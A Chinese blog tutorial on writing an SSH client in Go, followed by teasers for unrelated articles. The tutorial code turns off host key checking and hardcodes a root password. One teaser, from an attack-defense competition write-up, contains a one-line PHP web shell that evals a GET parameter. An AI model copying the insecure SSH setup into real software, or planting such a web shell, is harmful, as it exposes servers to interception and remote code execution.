Go小记:使用Go实现ssh客户端
一、前言
SSH(Secure Shell)是一种用于在不安全网络上安全访问远程计算机的网络协议。它通过加密的方式提供远程登录会话和其他网络服务,保证通信的安全性和数据的完整性。
本文使用golang.org/x/crypto/ssh
包来实现SSH客户端
可以通过go get -u golang.org/x/crypto/ssh
来引包。其中参数-u
指定从远程仓库下载最新版本
二、开发
(1) 创建ssh客户端配置
使用ssh.ClientConfig
来创建一个结构体. 指定用户名User
和认证方法 Auth
。忽略主机密钥验证,允许连接到任意服务器。
config := &ssh.ClientConfig{User: "Yliken", //用户名Auth: []ssh.AuthMethod{ssh.Password("Yliken"), //密码、},HostKeyCallback: ssh.InsecureIgnoreHostKey(), //忽略主机密钥验证
}
(2)发起ssh连接
使用ssh.Dial
来向服务器发送ssh连接请求。ssh.Dial
需要指定三个参数:网络类型(通常是tcp)、服务器地址(需要加上端口)、和一个指向ssh.ClientConfig
的指针
dial, err := ssh.Dial("tcp", "192.168.22.100:22", config)
if err != nil {fmt.Println("连接服务器失败", err)
}
defer dial.Close()
(3)创建ssh会话
使用dial.NewSession
来与服务端建立一个会话。用于执行远程命令或交互操作。dial
是一个通过 ssh.Dial
方法获得的 *ssh.Client
对象。
session, err := dial.NewSession()if err != nil {fmt.Println("创建会话失败", err)}defer session.Close()
(4)创建伪终端
使用ssh.TerminalModes
创建伪终端模式
modes := ssh.TerminalModes{ssh.ECHO: 0, // 禁用回显ssh.TTY_OP_ISPEED: 14400, // 输入速度(比特/秒)ssh.TTY_OP_OSPEED: 14400, // 输出速度(比特/秒)
}
然后再用session.RequestPty
再服务器上面请求一个伪终端。
session.RequestPty
包含4个参数:伪终端的类型、伪终端的高度和宽度、伪终端的模式配置(就是上面的modes)
if err := session.RequestPty("xterm", 80, 40, modes); err != nil {fmt.Println(err)
}
(5)绑定标准输入、标准输出、标准错误
session.Stdout = os.Stdout //将远程会话的标准输出绑定到本地终端的标准输出。
session.Stderr = os.Stderr //将远程会话的标准错误输出绑定到本地终端的标准错误输出。
session.Stdin = os.Stdin //将本地终端的标准输入绑定到远程会话的标准输入。
(6)启动交互式shell
使用session.shell()
启动一个交互式shell。允许用户通过本地终端与远程服务器进行实时交互操作。
if err := session.Shell(); err != nil {fmt.Println(err)}
(7)等待会话结束
在交互式shell模式下session.Wait()
会阻塞程序。直到远程会话结束
三、完整程序源码
package mainimport ("fmt""golang.org/x/crypto/ssh""os"
)func main() {config := &ssh.ClientConfig{User: "root",Auth: []ssh.AuthMethod{ssh.Password("312909"),},HostKeyCallback: ssh.InsecureIgnoreHostKey(),}dial, err := ssh.Dial("tcp", "192.168.22.100:22", config)if err != nil {fmt.Println("连接服务器失败", err)}defer dial.Close()session, err := dial.NewSession()if err != nil {fmt.Println("创建会话失败", err)}defer session.Close()modes := ssh.TerminalModes{ssh.ECHO: 0,ssh.TTY_OP_ISPEED: 14400,ssh.TTY_OP_OSPEED: 14400,}if err := session.RequestPty("xterm", 80, 40, modes); err != nil {fmt.Println(err)}session.Stdout = os.Stdoutsession.Stderr = os.Stderrsession.Stdin = os.Stdinif err := session.Shell(); err != nil {fmt.Println(err)}session.Wait()
}
相关文章:
Go小记:使用Go实现ssh客户端
一、前言 SSH(Secure Shell)是一种用于在不安全网络上安全访问远程计算机的网络协议。它通过加密的方式提供远程登录会话和其他网络服务,保证通信的安全性和数据的完整性。 本文使用golang.org/x/crypto/ssh包来实现SSH客户端 可以通过go …...
Nginx Spring boot指定域名跨域设置
1、Nginx配置跨域: server {listen 80;server_name your-backend-service.com;location / {proxy_pass http://localhost:8080; # Spring Boot应用的内部地址proxy_set_header Host $host;proxy_set_header X-Real-IP $remote_addr;proxy_set_header X-Forwarded-F…...
深入理解Redis(七)----Redis实现分布式锁
基于Redis的实现方式 1、选用Redis实现分布式锁原因: (1)Redis有很高的性能; (2)Redis命令对此支持较好,实现起来比较方便 2、使用命令介绍: (1)SETNX SETNX …...
Database Advantages (数据库系统的优点)
数据库管理系统(DBMS)提供了一种结构化的方式来存储、管理和访问数据,与传统的文件处理系统相比,数据库提供了许多显著的优点。以下是数据库系统的主要优势: 1. Data Integrity (数据完整性) 概念:数据完整…...
Qt桌面应用开发 第五天(常用控件)
目录 1.QPushButton和ToolButton 1.1QPushButton 1.2ToolButton 2.RadioButton和CheckBox 2.1RadioButton单选按钮 2.2CheckBox多选按钮 3.ListWidget 4.TreeWidget控件 5.TableWidget控件 6.Containers控件 6.1QScrollArea 6.2QToolBox 6.3QTabWidget 6.4QStacke…...
初识Linux · 信号处理 · 续
目录 前言: 可重入函数 重谈进程等待和优化 前言: 在前文,我们已经介绍了信号产生,信号保存,信号处理的主题内容,本文作为信号处理的续篇,主要是介绍一些不那么重要的内容,第一个…...
【Linux】虚拟地址空间,页表,物理内存
目录 进程地址空间,页表,物理内存 什么叫作地址空间? 如何理解地址空间的区域划分? 地址空间结构体 为什么要有地址空间? 页表 cr3寄存器 权限标记位 位置标记位 其他 每个存储单元是一个字节,一…...
C++ 并发专题 - 线程安全的单例模式
一:概述: 在C编程中,call_once 是一种机制,用于确保某个函数或代码段在多线程环境下仅被调用一次。这种机制常用于初始化资源、配置全局变量或执行只需执行一次的逻辑。在 C11 标准中,std::call_once 是由标准库提供的…...
Spring Boot汽车世界:资讯与技术的交汇
2相关技术 2.1 MYSQL数据库 MySQL是一个真正的多用户、多线程SQL数据库服务器。 是基于SQL的客户/服务器模式的关系数据库管理系统,它的有点有有功能强大、使用简单、管理方便、安全可靠性高、运行速度快、多线程、跨平台性、完全网络化、稳定性等,非常…...
力扣 LeetCode 541. 反转字符串II(Day4:字符串)
解题思路: i可以成段成段的跳,而不是简单的i class Solution {public String reverseStr(String s, int k) {char[] ch s.toCharArray();// 1. 每隔 2k 个字符的前 k 个字符进行反转for (int i 0; i < ch.length; i 2 * k) {// 2. 剩余字符小于 …...
Django5 2024全栈开发指南(一):框架简介、环境搭建与项目结构
目录 一、Python Web框架要点二、Django流程2.1 Django介绍2.1.1 简介2.1.2 特点2.1.3 MVT模式2.1.4 Django新特性2.1.5 Django学习资料 2.2 搭建Django框架开发环境2.2.1 安装Python语言环境2.2.2 安装Django框架 2.3 创建Django项目2.4 Pycharm创建项目2.5 初试Django52.5.1 …...
Uniapp运行环境判断和解决跨端兼容性详解
Uniapp运行环境判断和解决跨端兼容性 开发环境和生产环境 uniapp可通过process.env.NODE_ENV判断当前环境是开发环境还是生产环境,一般用于链接测试服务器或者生产服务器的动态切换。在HX中,点击运行编译出来的代码是开发环境,点击发行编译…...
Linux设置开机自动执行脚本 rc-local
使用/etc/rc.local 1、启动rc-local服务 首先授予执行权限 chmod x /etc/rc.d/rc.local设置开启自启并启动 sudo systemctl enable rc-local sudo systemctl start rc-local查看状态 sudo systemctl status rc-local2、编写要执行的脚本 vim /home/start.sh #!/bin/bash…...
驱动开发小问题 -记录一下
1 D:\Windows Kits\10\Vsix\VS2022\10.0.26100.0\amd64 D:\Windows Kits\10\Vsix\VS2019 2 windows防火墙白板 无法设置通过powershell防火墙禁用 Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False 3 内核调试 vm虚拟机 设置成 NAT模式 ÿ…...
学习笔记018——若依框架数据权限功能的实现
ps:本文所使用的若依是前后端分离的v3.6.0版本。 1、建表 建立业务表的时候,需要在表中添加user_id和dept_id两个字段。(字段一定要一样,下文能体现) user_id:表中该条记录的创建人id dept_id࿱…...
Nginx文件下载服务器搭建
Nginx文件下载服务器搭建 80端口启动下载服务器, 下载/var/www/downloads目录下的文件,nginx.conf如下: server {listen 80;location /downloads/ {root /var/www/downloads;autoindex on; # 显示目录autoindex_localtime on;} }浏览器中访问ÿ…...
AWD脚本编写_1
AWD脚本编写_1 shell.php(放在网站根目录下) <?php error_reporting(0); eval($_GET["yanxiao"]); ?>脚本编写成功 后门文件利用与解析 import requests import base64def get_flag(url, flag_url, method, passwd, flag_path):cmd…...
HarmonyOS 如何获取设备信息(系统、版本、网络连接状态)
文章目录 前言一、引入模块和基本设备信息的获取二、设备硬件和系统版本信息的获取三、获取安全相关的设备信息四、获取网络状态信息五、完整 Demo 代码1. 导入所需模块2. 获取设备基本信息代码解析 3. 检测网络连接状态4. 执行函数 总结 前言 HarmonyOS 提供了一个强大的 API…...
2411rust,1.80
1.80.0稳定版 LazyCell和LazyLock 这些"懒"类型会延迟初化其数据,直到第一次访问.它们类似1.70中稳定的OnceCell和OnceLock类型,但单元中包含初化函数. 这稳定化了从流行的lazy_static和once_cell中进入标准库. LazyLock是线安选项,使其适合静态值等位置.如,产生…...
FPGA 第6讲 简单组合逻辑多路选择器
时间:2024.11.11-11.14 一、学习内容 1.组合逻辑 组合逻辑是VerilgHDL设计中一个重要组成部分。从电路本质上讲,组合逻辑电路的特点是输出信号只是当前时刻输入信号的函数,与其他时刻的输入状态无关,无存储电路,也没…...
Android Studio开发学习(五)———LinearLayout(线性布局)
一、布局 认识了解一下Android中的布局,分别是: LinearLayout(线性布局),RelativeLayout(相对布局),TableLayout(表格布局), FrameLayout(帧布局),AbsoluteLayout(绝对布局),GridLayout(网格布局) 等。 二、…...
大模型(LLMs)RAG 版面分析------文本分块面
一、为什么需要对文本分块? 使用大型语言模型(LLM)时,切勿忽略文本分块的重要性,其对处理结果的好坏有重大影响。 考虑以下场景:你面临一个几百页的文档,其中充满了文字,你希望对其…...
Web3游戏先锋 Big Time Studios 重磅推出 $OL 通证,赋能 Open Loot 游戏平台
作为 Web3 游戏领域的领军者,Big Time Studios 不仅创造了热门游戏《Big Time》,还开发了 Open Loot 平台,至今交易量已超过 5 亿美元。如今,Open Loot 平台的活跃用户可以获得 $OL 代币,这是该平台推出的首个实用型代…...
Linux—ln(link files)命令使用方法(How to create links on Linux)
Linux—ln(link files)命令使用方法 在 Linux 系统中工作时,需要在不同的目录中使用相同的文件时,不必在每个目录下都复制一份文件,这样不仅浪费磁盘空间,还会导致文件管理上的混乱。 ln(link files) 便是…...
学习日记_20241110_聚类方法(K-Means)
前言 提醒: 文章内容为方便作者自己后日复习与查阅而进行的书写与发布,其中引用内容都会使用链接表明出处(如有侵权问题,请及时联系)。 其中内容多为一次书写,缺少检查与订正,如有问题或其他拓展…...
解决Oracle DECODE函数字符串截断问题的深度剖析20241113
解决Oracle DECODE函数字符串截断问题的深度剖析 在使用Oracle数据库进行开发时,开发者可能会遇到一些令人困惑的问题。其中,在使用DECODE函数时,返回的字符串被截断就是一个典型的案例。本文将以学生管理系统为背景,深入探讨这个…...
开源模型应用落地-语音转文本-whisper模型-AIGC应用探索(二)
一、前言 语音转文本技术具有重要价值。它能提高信息记录和处理的效率,使人们可以快速将语音内容转换为可编辑、可存储的文本形式,方便后续查阅和分析。在教育领域,可帮助学生更好地记录课堂重点;在办公场景中,能简化会议记录工作。同时,该技术也为残障人士提供了便利,让…...
PHP框架 单一入口和多入口以及优缺点
在PHP框架中,单一入口和多入口是两种不同的应用架构设计方式,以下是关于这两者及其优缺点的详细解释: 一、单一入口 定义: 单一入口(Single Entry Point)指的是应用程序通过一个统一的文件(通…...
PhpSpreadsheet导出图片
PhpSpreadsheet导出图片 //导出public function pdf($ids){$jzInfo $this->model->where(id,$ids)->find();try {//巡检人员$staff_ids \app\admin\model\inspection\Plan::where(id,$jzInfo[plan_id])->value(staff_id);$staff_names \app\admin\model\inspect…...
AI 提示词(Prompt)入门 十:最佳实践|详细询问,提供细节!
1、原则解释 当与 ChatGPT 交流时,提供具体和详细的信息非常重要。 这样做可以帮助 ChatGPT 更准确地理解你的需求和上下文,从而生成更相关和有用的回答 明确的信息可以包括具体的问题背景、相关领域的说明、你所期望的答案类型等。 2、如何实践 明…...
东莞网站建设费用/女生seo专员很难吗为什么
java并行执行多个任务: 最近做项目中,有个任务需要实现并发编程,个人参考了下网上的实现,自己实现了下并发方法,并且增加了简单的说明,希望的有需要的朋友有些帮助。 import java.util.UUID; import java.util.concurrent.CountDownLatch; import java.util.concurrent.E…...
天津网站建设企业/百度快速排名软件下载
用过IE5的朋友一定不会忘记其中附带的微软新版媒体播放器(WindowsMediaPlayer)吧。这个程序也能播放MP3、Real、QuickTime等多种格式的文件,不失为一款较好的多媒体工具。不过它也有一点美中不足:不能实现文件的列表播放。这对于用惯了WinAmp、Jet&#…...
商业网站的域名代码/2021年关键词有哪些
2019独角兽企业重金招聘Python工程师标准>>> Picasso 是 Android 上一个强大的图片下载和缓存库。 示例代码: ? 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 Picasso.with(context).load( "http://i.imgur.com/DvpvklR.png" ).into(imageV…...
已有域名怎么做网站/市场调研的方法有哪些
方法一: srand(time(NULL));array->removeAllObjects(); this->removeAllChildren(); init();方法二:CCDirector::sharedDirector()->replaceScene(HelloWorld::scene());从本场景切换到本场景,但是不能在init()函数中。。 转载于:h…...
广西建设网站/长沙疫情最新情况
一:* 的作用,个人理解代表所有 def fun(a,b,c): print(a,b,c) l1[1,2,3] l2[1,2,3,4] fun(*l1) ---->>> 1 2 3 #可以调用打印出所有元素 fun(*l2) ---->>> 出错,需要注意定义fun的时候三个元素,而l2有4个元素所以出错 二&…...
有没有电商设计的网站参考/企业邮箱如何申请注册
我正在将我的应用程序从log4j迁移到log4j2 API.迁移时,我发现使用自定义patternlayouts,patternparsers和patternconverters.我不知道如何使用log4j2插件实现这些更改.谁能帮助我如何将这个自定义布局TestPatternLayout转换为log4j2.非常感谢.PFB有关如何使用log4j实现自定义模…...